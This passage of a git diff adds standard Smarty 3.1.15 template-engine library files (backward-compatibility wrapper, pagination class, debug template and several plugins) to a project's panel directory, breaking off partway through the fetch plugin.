} +} diff --git a/panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php b/panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php new file mode 100644 index 0000000..32f2228 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php @@ -0,0 +1,459 @@ + + * @author Uwe Tews + * @author Rodney Rehm + * @package Smarty + */ +/** + * @ignore + */ +require(dirname(__FILE__) . '/Smarty.class.php'); + +/** + * Smarty Backward Compatability Wrapper Class + * + * @package Smarty + */ +class SmartyBC extends Smarty +{ + /** + * Smarty 2 BC + * @var string + */ + public $_version = self::SMARTY_VERSION; + + /** + * Initialize new SmartyBC object + * + * @param array $options options to set during initialization, e.g. array( 'forceCompile' => false ) + */ + public function __construct(array $options=array()) + { + parent::__construct($options); + // register {php} tag + $this->registerPlugin('block', 'php', 'smarty_php_tag'); + } + + /** + * wrapper for assign_by_ref + * + * @param string $tpl_var the template variable name + * @param mixed &$value the referenced value to assign + */ + public function assign_by_ref($tpl_var, &$value) + { + $this->assignByRef($tpl_var, $value); + } + + /** + * wrapper for append_by_ref + * + * @param string $tpl_var the template variable name + * @param mixed &$value the referenced value to append + * @param boolean $merge flag if array elements shall be merged + */ + public function append_by_ref($tpl_var, &$value, $merge = false) + { + $this->appendByRef($tpl_var, $value, $merge); + } + + /** + * clear the given assigned template variable. + * + * @param string $tpl_var the template variable to clear + */ + public function clear_assign($tpl_var) + { + $this->clearAssign($tpl_var); + } + + /** + * Registers custom function to be used in templates + * + * @param string $function the name of the template function + * @param string $function_impl the name of the PHP function to register + * @param bool $cacheable + * @param mixed $cache_attrs + */ + public function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null) + { + $this->registerPlugin('function', $function, $function_impl, $cacheable, $cache_attrs); + } + + /** + * Unregisters custom function + * + * @param string $function name of template function + */ + public function unregister_function($function) + { + $this->unregisterPlugin('function', $function); + } + + /** + * Registers object to be used in templates + * + * @param string $object name of template object + * @param object $object_impl the referenced PHP object to register + * @param array $allowed list of allowed methods (empty = all) + * @param boolean $smarty_args smarty argument format, else traditional + * @param array $block_functs list of methods that are block format + */ + public function register_object($object, $object_impl, $allowed = array(), $smarty_args = true, $block_methods = array()) + { + settype($allowed, 'array'); + settype($smarty_args, 'boolean'); + $this->registerObject($object, $object_impl, $allowed, $smarty_args, $block_methods); + } + + /** + * Unregisters object + * + * @param string $object name of template object + */ + public function unregister_object($object) + { + $this->unregisterObject($object); + } + + /** + * Registers block function to be used in templates + * + * @param string $block name of template block + * @param string $block_impl PHP function to register + * @param bool $cacheable + * @param mixed $cache_attrs + */ + public function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null) + { + $this->registerPlugin('block', $block, $block_impl, $cacheable, $cache_attrs); + } + + /** + * Unregisters block function + * + * @param string $block name of template function + */ + public function unregister_block($block) + { + $this->unregisterPlugin('block', $block); + } + + /** + * Registers compiler function + * + * @param string $function name of template function + * @param string $function_impl name of PHP function to register + * @param bool $cacheable + */ + public function register_compiler_function($function, $function_impl, $cacheable=true) + { + $this->registerPlugin('compiler', $function, $function_impl, $cacheable); + } + + /** + * Unregisters compiler function + * + * @param string $function name of template function + */ + public function unregister_compiler_function($function) + { + $this->unregisterPlugin('compiler', $function); + } + + /** + * Registers modifier to be used in templates + * + * @param string $modifier name of template modifier + * @param string $modifier_impl name of PHP function to register + */ + public function register_modifier($modifier, $modifier_impl) + { + $this->registerPlugin('modifier', $modifier, $modifier_impl); + } + + /** + * Unregisters modifier + * + * @param string $modifier name of template modifier + */ + public function unregister_modifier($modifier) + { + $this->unregisterPlugin('modifier', $modifier); + } + + /** + * Registers a resource to fetch a template + * + * @param string $type name of resource + * @param array $functions array of functions to handle resource + */ + public function register_resource($type, $functions) + { + $this->registerResource($type, $functions); + } + + /** + * Unregisters a resource + * + * @param string $type name of resource + */ + public function unregister_resource($type) + { + $this->unregisterResource($type); + } + + /** + * Registers a prefilter function to apply + * to a template before compiling + * + * @param callable $function + */ + public function register_prefilter($function) + { + $this->registerFilter('pre', $function); + } + + /** + * Unregisters a prefilter function + * + * @param callable $function + */ + public function unregister_prefilter($function) + { + $this->unregisterFilter('pre', $function); + } + + /** + * Registers a postfilter function to apply + * to a compiled template after compilation + * + * @param callable $function + */ + public function register_postfilter($function) + { + $this->registerFilter('post', $function); + } + + /** + * Unregisters a postfilter function + * + * @param callable $function + */ + public function unregister_postfilter($function) + { + $this->unregisterFilter('post', $function); + } + + /** + * Registers an output filter function to apply + * to a template output + * + * @param callable $function + */ + public function register_outputfilter($function) + { + $this->registerFilter('output', $function); + } + + /** + * Unregisters an outputfilter function + * + * @param callable $function + */ + public function unregister_outputfilter($function) + { + $this->unregisterFilter('output', $function); + } + + /** + * load a filter of specified type and name + * + * @param string $type filter type + * @param string $name filter name + */ + public function load_filter($type, $name) + { + $this->loadFilter($type, $name); + } + + /** + * clear cached content for the given template and cache id + * + * @param string $tpl_file name of template file + * @param string $cache_id name of cache_id + * @param string $compile_id name of compile_id + * @param string $exp_time expiration time + * @return boolean + */ + public function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null) + { + return $this->clearCache($tpl_file, $cache_id, $compile_id, $exp_time); + } + + /** + * clear the entire contents of cache (all templates) + * + * @param string $exp_time expire time + * @return boolean + */ + public function clear_all_cache($exp_time = null) + { + return $this->clearCache(null, null, null, $exp_time); + } + + /** + * test to see if valid cache exists for this template + * + * @param string $tpl_file name of template file + * @param string $cache_id + * @param string $compile_id + * @return boolean + */ + public function is_cached($tpl_file, $cache_id = null, $compile_id = null) + { + return $this->isCached($tpl_file, $cache_id, $compile_id); + } + + /** + * clear all the assigned template variables. + */ + public function clear_all_assign() + { + $this->clearAllAssign(); + } + + /** + * clears compiled version of specified template resource, + * or all compiled template files if one is not specified. + * This function is for advanced use only, not normally needed. + * + * @param string $tpl_file + * @param string $compile_id + * @param string $exp_time + * @return boolean results of {@link smarty_core_rm_auto()} + */ + public function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null) + { + return $this->clearCompiledTemplate($tpl_file, $compile_id, $exp_time); + } + + /** + * Checks whether requested template exists. + * + * @param string $tpl_file + * @return boolean + */ + public function template_exists($tpl_file) + { + return $this->templateExists($tpl_file); + } + + /** + * Returns an array containing template variables + * + * @param string $name + * @return array + */ + public function get_template_vars($name=null) + { + return $this->getTemplateVars($name); + } + + /** + * Returns an array containing config variables + * + * @param string $name + * @return array + */ + public function get_config_vars($name=null) + { + return $this->getConfigVars($name); + } + + /** + * load configuration values + * + * @param string $file + * @param string $section + * @param string $scope + */ + public function config_load($file, $section = null, $scope = 'global') + { + $this->ConfigLoad($file, $section, $scope); + } + + /** + * return a reference to a registered object + * + * @param string $name + * @return object + */ + public function get_registered_object($name) + { + return $this->getRegisteredObject($name); + } + + /** + * clear configuration values + * + * @param string $var + */ + public function clear_config($var = null) + { + $this->clearConfig($var); + } + + /** + * trigger Smarty error + * + * @param string $error_msg + * @param integer $error_type + */ + public function trigger_error($error_msg, $error_type = E_USER_WARNING) + { + trigger_error("Smarty error: $error_msg", $error_type); + } + +} + +/** + * Smarty {php}{/php} block function + * + * @param array $params parameter list + * @param string $content contents of the block + * @param object $template template object + * @param boolean &$repeat repeat flag + * @return string content re-formatted + */ +function smarty_php_tag($params, $content, $template, &$repeat) +{ + eval($content); + + return ''; +} diff --git a/panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php b/panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php new file mode 100644 index 0000000..8a9c9a5 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php @@ -0,0 +1,400 @@ + + * @package SmartyPaginate + * @version 1.6 + */ + + +class SmartyPaginate { + + /** + * Class Constructor + */ + function SmartyPaginate() { } + + /** + * initialize the session data + * + * @param string $id the pagination id + * @param string $formvar the variable containing submitted pagination information + */ + public static function connect($id = 'default', $formvar = null) { + if(!isset($_SESSION['SmartyPaginate'][$id])) { + SmartyPaginate::reset($id); + } + + // use $_GET by default unless otherwise specified + $_formvar = isset($formvar) ? $formvar : $_GET; + + // set the current page + $_total = SmartyPaginate::getTotal($id); + if(isset($_formvar[SmartyPaginate::getUrlVar($id)]) && $_formvar[SmartyPaginate::getUrlVar($id)] > 0 && (!isset($_total) || $_formvar[SmartyPaginate::getUrlVar($id)] <= $_total)) + $_SESSION['SmartyPaginate'][$id]['current_item'] = $_formvar[$_SESSION['SmartyPaginate'][$id]['urlvar']]; + } + + /** + * see if session has been initialized + * + * @param string $id the pagination id + */ + public static function isConnected($id = 'default') { + return isset($_SESSION['SmartyPaginate'][$id]); + } + + /** + * reset/init the session data + * + * @param string $id the pagination id + */ + public static function reset($id = 'default') { + $_SESSION['SmartyPaginate'][$id] = array( + 'item_limit' => 10, + 'item_total' => null, + 'current_item' => 1, + 'urlvar' => 'next', + 'url' => $_SERVER['PHP_SELF'], + 'prev_text' => 'prev', + 'next_text' => 'next', + 'first_text' => 'first', + 'last_text' => 'last' + ); + } + + /** + * clear the SmartyPaginate session data + * + * @param string $id the pagination id + */ + public static function disconnect($id = null) { + if(isset($id)) + unset($_SESSION['SmartyPaginate'][$id]); + else + unset($_SESSION['SmartyPaginate']); + } + + /** + * set maximum number of items per page + * + * @param string $id the pagination id + */ + public static function setLimit($limit, $id = 'default') { + if(!preg_match('!^\d+$!', $limit)) { + trigger_error('SmartyPaginate setLimit: limit must be an integer.'); + return false; + } + settype($limit, 'integer'); + if($limit < 1) { + trigger_error('SmartyPaginate setLimit: limit must be greater than zero.'); + return false; + } + $_SESSION['SmartyPaginate'][$id]['item_limit'] = $limit; + } + + /** + * get maximum number of items per page + * + * @param string $id the pagination id + */ + public static function getLimit($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['item_limit']; + } + + /** + * set the total number of items + * + * @param int $total the total number of items + * @param string $id the pagination id + */ + public static function setTotal($total, $id = 'default') { + if(!preg_match('!^\d+$!', $total)) { + trigger_error('SmartyPaginate setTotal: total must be an integer.'); + return false; + } + settype($total, 'integer'); + if($total < 0) { + trigger_error('SmartyPaginate setTotal: total must be positive.'); + return false; + } + $_SESSION['SmartyPaginate'][$id]['item_total'] = $total; + } + + /** + * get the total number of items + * + * @param string $id the pagination id + */ + public static function getTotal($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['item_total']; + } + + /** + * set the url used in the links, default is $PHP_SELF + * + * @param string $url the pagination url + * @param string $id the pagination id + */ + public static function setUrl($url, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['url'] = $url; + } + + /** + * get the url variable + * + * @param string $id the pagination id + */ + public static function getUrl($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['url']; + } + + /** + * set the url variable ie. ?next=10 + * ^^^^ + * @param string $url url pagination varname + * @param string $id the pagination id + */ + public static function setUrlVar($urlvar, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['urlvar'] = $urlvar; + } + + /** + * get the url variable + * + * @param string $id the pagination id + */ + public static function getUrlVar($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['urlvar']; + } + + /** + * set the current item (usually done automatically by next/prev links) + * + * @param int $item index of the current item + * @param string $id the pagination id + */ + public static function setCurrentItem($item, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['current_item'] = $item; + } + + /** + * get the current item + * + * @param string $id the pagination id + */ + public static function getCurrentItem($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['current_item']; + } + + /** + * get the current item index + * + * @param string $id the pagination id + */ + public static function getCurrentIndex($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['current_item'] - 1; + } + + /** + * get the last displayed item + * + * @param string $id the pagination id + */ + public static function getLastItem($id = 'default') { + $_total = SmartyPaginate::getTotal($id); + $_limit = SmartyPaginate::getLimit($id); + $_last = SmartyPaginate::getCurrentItem($id) + $_limit - 1; + return ($_last <= $_total) ? $_last : $_total; + } + + /** + * assign $paginate var values + * + * @param smarty &$smarty the smarty object reference + * @param string $var the name of the assigned var + * @param string $id the pagination id + */ + public static function assign(&$smarty, $var = 'paginate', $id = 'default') { + if(is_object($smarty) && (strtolower(get_class($smarty)) == 'smarty' || is_subclass_of($smarty, 'smarty'))) { + $_paginate['total'] = SmartyPaginate::getTotal($id); + $_paginate['first'] = SmartyPaginate::getCurrentItem($id); + $_paginate['last'] = SmartyPaginate::getLastItem($id); + $_paginate['page_current'] = ceil(SmartyPaginate::getLastItem($id) / SmartyPaginate::getLimit($id)); + $_paginate['page_total'] = ceil(SmartyPaginate::getTotal($id)/SmartyPaginate::getLimit($id)); + $_paginate['size'] = $_paginate['last'] - $_paginate['first']; + $_paginate['url'] = SmartyPaginate::getUrl($id); + $_paginate['urlvar'] = SmartyPaginate::getUrlVar($id); + $_paginate['current_item'] = SmartyPaginate::getCurrentItem($id); + $_paginate['prev_text'] = SmartyPaginate::getPrevText($id); + $_paginate['next_text'] = SmartyPaginate::getNextText($id); + $_paginate['limit'] = SmartyPaginate::getLimit($id); + + $_item = 1; + $_page = 1; + while($_item <= $_paginate['total']) { + $_paginate['page'][$_page]['number'] = $_page; + $_paginate['page'][$_page]['item_start'] = $_item; + $_paginate['page'][$_page]['item_end'] = ($_item + $_paginate['limit'] - 1 <= $_paginate['total']) ? $_item + $_paginate['limit'] - 1 : $_paginate['total']; + $_paginate['page'][$_page]['is_current'] = ($_item == $_paginate['current_item']); + $_item += $_paginate['limit']; + $_page++; + } + $smarty->assign($var, $_paginate); + } else { + trigger_error("SmartyPaginate: [assign] I need a valid Smarty object."); + return false; + } + } + + + /** + * set the default text for the "previous" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setPrevText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['prev_text'] = $text; + } + + /** + * get the default text for the "previous" page link + * + * @param string $id the pagination id + */ + public static function getPrevText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['prev_text']; + } + + /** + * set the text for the "next" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setNextText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['next_text'] = $text; + } + + /** + * get the default text for the "next" page link + * + * @param string $id the pagination id + */ + public static function getNextText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['next_text']; + } + + /** + * set the text for the "first" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setFirstText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['first_text'] = $text; + } + + /** + * get the default text for the "first" page link + * + * @param string $id the pagination id + */ + public static function getFirstText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['first_text']; + } + + /** + * set the text for the "last" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setLastText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['last_text'] = $text; + } + + /** + * get the default text for the "last" page link + * + * @param string $id the pagination id + */ + public static function getLastText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['last_text']; + } + + /** + * set default number of page groupings in {paginate_middle} + * + * @param string $id the pagination id + */ + public static function setPageLimit($limit, $id = 'default') { + if(!preg_match('!^\d+$!', $limit)) { + trigger_error('SmartyPaginate setPageLimit: limit must be an integer.'); + return false; + } + settype($limit, 'integer'); + if($limit < 1) { + trigger_error('SmartyPaginate setPageLimit: limit must be greater than zero.'); + return false; + } + $_SESSION['SmartyPaginate'][$id]['page_limit'] = $limit; + } + + /** + * get default number of page groupings in {paginate_middle} + * + * @param string $id the pagination id + */ + public static function getPageLimit($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['page_limit']; + } + + /** + * get the previous page of items + * + * @param string $id the pagination id + */ + public static function _getPrevPageItem($id = 'default') { + + $_prev_item = $_SESSION['SmartyPaginate'][$id]['current_item'] - $_SESSION['SmartyPaginate'][$id]['item_limit']; + + return ($_prev_item > 0) ? $_prev_item : false; + } + + /** + * get the previous page of items + * + * @param string $id the pagination id + */ + public static function _getNextPageItem($id = 'default') { + + $_next_item = $_SESSION['SmartyPaginate'][$id]['current_item'] + $_SESSION['SmartyPaginate'][$id]['item_limit']; + + return ($_next_item <= $_SESSION['SmartyPaginate'][$id]['item_total']) ? $_next_item : false; + } + + + +} + +?> diff --git a/panel/includes/Smarty-3.1.15/libs/debug.tpl b/panel/includes/Smarty-3.1.15/libs/debug.tpl new file mode 100644 index 0000000..12eef0f --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/debug.tpl @@ -0,0 +1,133 @@ +{capture name='_smarty_debug' assign=debug_output} + + + + Smarty Debug Console + + + + +

Smarty Debug Console - {if isset($template_name)}{$template_name|debug_print_var nofilter}{else}Total Time {$execution_time|string_format:"%.5f"}{/if}

+ +{if !empty($template_data)} +

included templates & config files (load time in seconds)

+ +
+{foreach $template_data as $template} + {$template.name} + + (compile {$template['compile_time']|string_format:"%.5f"}) (render {$template['render_time']|string_format:"%.5f"}) (cache {$template['cache_time']|string_format:"%.5f"}) + +
+{/foreach} +
+{/if} + +

assigned template variables

+ + + {foreach $assigned_vars as $vars} + + + + {/foreach} +
${$vars@key|escape:'html'}{$vars|debug_print_var nofilter}
+ +

assigned config file variables (outer template scope)

+ + + {foreach $config_vars as $vars} + + + + {/foreach} + +
{$vars@key|escape:'html'}{$vars|debug_print_var nofilter}
+ + +{/capture} + diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php b/panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php new file mode 100644 index 0000000..b62a4f8 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php @@ -0,0 +1,110 @@ + + * Name: textformat
+ * Purpose: format text a certain way with preset styles + * or custom wrap/indent settings
+ * Params: + *
+ * - style         - string (email)
+ * - indent        - integer (0)
+ * - wrap          - integer (80)
+ * - wrap_char     - string ("\n")
+ * - indent_char   - string (" ")
+ * - wrap_boundary - boolean (true)
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.textformat.php {textformat} + * (Smarty online manual) + * @param array $params parameters + * @param string $content contents of the block + * @param Smarty_Internal_Template $template template object + * @param boolean &$repeat repeat flag + * @return string content re-formatted + * @author Monte Ohrt + */ +function smarty_block_textformat($params, $content, $template, &$repeat) +{ + if (is_null($content)) { + return; + } + + $style = null; + $indent = 0; + $indent_first = 0; + $indent_char = ' '; + $wrap = 80; + $wrap_char = "\n"; + $wrap_cut = false; + $assign = null; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'style': + case 'indent_char': + case 'wrap_char': + case 'assign': + $$_key = (string) $_val; + break; + + case 'indent': + case 'indent_first': + case 'wrap': + $$_key = (int) $_val; + break; + + case 'wrap_cut': + $$_key = (bool) $_val; + break; + + default: + trigger_error("textformat: unknown attribute '$_key'"); + } + } + + if ($style == 'email') { + $wrap = 72; + } + // split into paragraphs + $_paragraphs = preg_split('![\r\n]{2}!', $content); + $_output = ''; + + foreach ($_paragraphs as &$_paragraph) { + if (!$_paragraph) { + continue; + } + // convert mult. spaces & special chars to single space + $_paragraph = preg_replace(array('!\s+!' . Smarty::$_UTF8_MODIFIER, '!(^\s+)|(\s+$)!' . Smarty::$_UTF8_MODIFIER), array(' ', ''), $_paragraph); + // indent first line + if ($indent_first > 0) { + $_paragraph = str_repeat($indent_char, $indent_first) . $_paragraph; + } + // wordwrap sentences + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'); + $_paragraph = smarty_mb_wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } else { + $_paragraph = wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } + // indent lines + if ($indent > 0) { + $_paragraph = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraph); + } + } + $_output = implode($wrap_char . $wrap_char, $_paragraphs); + + if ($assign) { + $template->assign($assign, $_output); + } else { + return $_output; + } +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php new file mode 100644 index 0000000..cd14763 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php @@ -0,0 +1,76 @@ + + * Name: counter
+ * Purpose: print out a counter value + * + * @author Monte Ohrt + * @link http://www.smarty.net/manual/en/language.function.counter.php {counter} + * (Smarty online manual) + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null + */ +function smarty_function_counter($params, $template) +{ + static $counters = array(); + + $name = (isset($params['name'])) ? $params['name'] : 'default'; + if (!isset($counters[$name])) { + $counters[$name] = array( + 'start'=>1, + 'skip'=>1, + 'direction'=>'up', + 'count'=>1 + ); + } + $counter =& $counters[$name]; + + if (isset($params['start'])) { + $counter['start'] = $counter['count'] = (int) $params['start']; + } + + if (!empty($params['assign'])) { + $counter['assign'] = $params['assign']; + } + + if (isset($counter['assign'])) { + $template->assign($counter['assign'], $counter['count']); + } + + if (isset($params['print'])) { + $print = (bool) $params['print']; + } else { + $print = empty($counter['assign']); + } + + if ($print) { + $retval = $counter['count']; + } else { + $retval = null; + } + + if (isset($params['skip'])) { + $counter['skip'] = $params['skip']; + } + + if (isset($params['direction'])) { + $counter['direction'] = $params['direction']; + } + + if ($counter['direction'] == "down") + $counter['count'] -= $counter['skip']; + else + $counter['count'] += $counter['skip']; + + return $retval; + +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.country.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.country.php new file mode 100644 index 0000000..2a8518a --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.country.php @@ -0,0 +1,50 @@ + "; + } else + $img_url = ''; + + if (strlen($params['country_code'])) + { + if (!isset($params['country_name']) || !strlen($params['country_name'])) + $params['country_name'] = ''; + if (isset($params['simple']) && $params['simple']) + { + if (!strlen($img_url)) + return '
'.htmlspecialchars($params['country_name'], ENT_QUOTES, 'cp1251').'
'; + else + return $img_url.' '.htmlspecialchars($params['country_name'], ENT_QUOTES, 'cp1251'); + } + else + { + if (strlen($params['country_name'])) + $country_name = ' ('.htmlspecialchars($params['country_name'], ENT_QUOTES, 'cp1251').')'; + else + $country_name = ''; + if (!strlen($img_url)) + return '
'.''.htmlspecialchars($params['country_code'], ENT_QUOTES, 'cp1251').''.$country_name.'
'; + else + return $img_url.''.htmlspecialchars($params['country_code'], ENT_QUOTES, 'cp1251').''.$country_name; + } + } + + return ''; +} + +?> diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php new file mode 100644 index 0000000..9bf26f8 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php @@ -0,0 +1,105 @@ + + * Name: cycle
+ * Date: May 3, 2002
+ * Purpose: cycle through given values
+ * Params: + *
+ * - name      - name of cycle (optional)
+ * - values    - comma separated list of values to cycle, or an array of values to cycle
+ *               (this can be left out for subsequent calls)
+ * - reset     - boolean - resets given var to true
+ * - print     - boolean - print var or not. default is true
+ * - advance   - boolean - whether or not to advance the cycle
+ * - delimiter - the value delimiter, default is ","
+ * - assign    - boolean, assigns to template var instead of printed.
+ * 
+ * Examples:
+ *
+ * {cycle values="#eeeeee,#d0d0d0d"}
+ * {cycle name=row values="one,two,three" reset=true}
+ * {cycle name=row}
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.cycle.php {cycle} + * (Smarty online manual) + * @author Monte Ohrt + * @author credit to Mark Priatel + * @author credit to Gerard + * @author credit to Jason Sweat + * @version 1.3 + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null + */ + +function smarty_function_cycle($params, $template) +{ + static $cycle_vars; + + $name = (empty($params['name'])) ? 'default' : $params['name']; + $print = (isset($params['print'])) ? (bool) $params['print'] : true; + $advance = (isset($params['advance'])) ? (bool) $params['advance'] : true; + $reset = (isset($params['reset'])) ? (bool) $params['reset'] : false; + + if (!isset($params['values'])) { + if (!isset($cycle_vars[$name]['values'])) { + trigger_error("cycle: missing 'values' parameter"); + + return; + } + } else { + if(isset($cycle_vars[$name]['values']) + && $cycle_vars[$name]['values'] != $params['values'] ) { + $cycle_vars[$name]['index'] = 0; + } + $cycle_vars[$name]['values'] = $params['values']; + } + + if (isset($params['delimiter'])) { + $cycle_vars[$name]['delimiter'] = $params['delimiter']; + } elseif (!isset($cycle_vars[$name]['delimiter'])) { + $cycle_vars[$name]['delimiter'] = ','; + } + + if (is_array($cycle_vars[$name]['values'])) { + $cycle_array = $cycle_vars[$name]['values']; + } else { + $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']); + } + + if (!isset($cycle_vars[$name]['index']) || $reset ) { + $cycle_vars[$name]['index'] = 0; + } + + if (isset($params['assign'])) { + $print = false; + $template->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]); + } + + if ($print) { + $retval = $cycle_array[$cycle_vars[$name]['index']]; + } else { + $retval = null; + } + + if ($advance) { + if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) { + $cycle_vars[$name]['index'] = 0; + } else { + $cycle_vars[$name]['index']++; + } + } + + return $retval; +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php new file mode 100644 index 0000000..a4eaef3 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php @@ -0,0 +1,219 @@ + + * Name: fetch
+ * Purpose: fetch file, web or ftp data and display results + * + * @link http://www.smarty.net/manual/en/language.function.fetch.php {fetch} + * (Smarty online manual) + * @author Monte Ohrt + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null if the assign parameter is passed, Smarty assigns the result to a template variable + */ +function smarty_function_fetch($params, $template) +{ + if (empty($params['file'])) { + trigger_error("[plugin] fetch parameter 'file' cannot be empty",E_USER_NOTICE); + + return; + } + + // strip file protocol + if (stripos($params['file'], 'file://') === 0) { + $params['file'] = substr($params['file'], 7); + } + + $protocol = strpos($params['file'], '://'); + if ($protocol !== false) { + $protocol = strtolower(substr($params['file'], 0, $protocol)); + } + + if (isset($template->smarty->security_policy)) { + if ($protocol) { + // remote resource (or php stream, …) + if (!$template->smarty->security_policy->isTrustedUri($params['file'])) { + return; + } + } else { + // local file + if (!$template->smarty->security_policy->isTrustedResourceDir($params['file'])) { + return; + } + } + } + + $content = ''; + if ($protocol == 'http') { + // http fetch + if ($uri_parts = parse_url($params['file'])) { + // set defaults + $host = $server_name = $uri_parts['host']; + $timeout = 30; + $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; + $agent = "Smarty Template Engine ". Smarty::SMARTY_VERSION; + $referer = ""; + $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/'; + $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : ''; + $_is_proxy = false; + if (empty($uri_parts['port'])) { + $port = 80; + } else { + $port = $uri_parts['port']; + } + if (!empty($uri_parts['user'])) { + $user = $uri_parts['user']; + } + if (!empty($uri_parts['pass'])) { + $pass = $uri_parts['pass']; + } + // loop through parameters, setup headers + foreach ($params as $param_key => $param_value) { + switch ($param_key) { + case "file": + case "assign": + case "assign_headers": + break; + case "user": + if (!empty($param_value)) { + $user = $param_value; + } + break; + case "pass": + if (!empty($param_value)) { + $pass = $param_value; + } + break; + case "accept": + if (!empty($param_value)) { + $accept = $param_value; + } + break; + case "header": + if (!empty($param_value)) { + if (!preg_match('![\w\d-]+: .+!',$param_value)) { + trigger_error("[plugin] invalid header format '".$param_value."'",E_USER_NOTICE); + + return; + } else { + $extra_headers[] = $param_value; + } + } + break; + case "proxy_host": + if (!empty($param_value)) { + $proxy_host = $param_value; + } + break; + case "proxy_port": + if (!preg_match('!\D!', $param_value)) { + $proxy_port = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '".$param_key."'",E_USER_NOTICE); + + return; + } + break; + case "agent": + if (!empty($param_value)) { + $agent = $param_value; + } + break; + case "referer": + if (!empty($param_value)) { + $referer = $param_value; + } + break; + case "timeout": + if (!preg_match('!\D!', $param_value)) { + $timeout = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '".$param_key."'",E_USER_NOTICE); + + return; + } + break; + default: + trigger_error("[plugin] unrecognized attribute '".$param_key."'",E_USER_NOTICE); + + return; + } + } + if (!empty($proxy_host) && !empty($proxy_port)) { + $_is_proxy = true; + $fp = fsockopen($proxy_host,$proxy_port,$errno,$errstr,$timeout); + } else { + $fp = fsockopen($server_name,$port,$errno,$errstr,$timeout); + } + + if (!$fp) { + trigger_error("[plugin] unable to fetch: $errstr ($errno)",E_USER_NOTICE); + + return; + } else { + if ($_is_proxy) { + fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n"); + } else { + fputs($fp, "GET $uri HTTP/1.0\r\n"); + } + if (!empty($host)) { + fputs($fp, "Host: $host\r\n"); + } + if (!empty($accept)) { + fputs($fp, "Accept: $accept\r\n"); + } + if (!empty($agent)) { + fputs($fp, "User-Agent: $agent\r\n"); + } + if (!empty($referer)) { + fputs($fp, "Referer: $referer\r\n"); + } + if (isset($extra_headers) && is_array($extra_headers)) { + foreach ($extra_headers as $curr_header) { + fputs($fp, $curr_header."\r\n"); + } + } + if (!empty($user) && !empty($pass)) { + fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n"); + } + + fputs($fp, "\r\n"); + while (!feof($fp)) { + $content .= fgets($fp,4096); + } + fclose($fp); + $csplit = preg_split("!\r\n\r\n!",$content,2); + + $content = $csplit[1]; + + if (!empty($params['assign_headers'])) { + $template->assign($params['assign_headers'],preg_split("!\r\n!",$csplit[0])); + } + } + } else { + trigger_error("[plugin 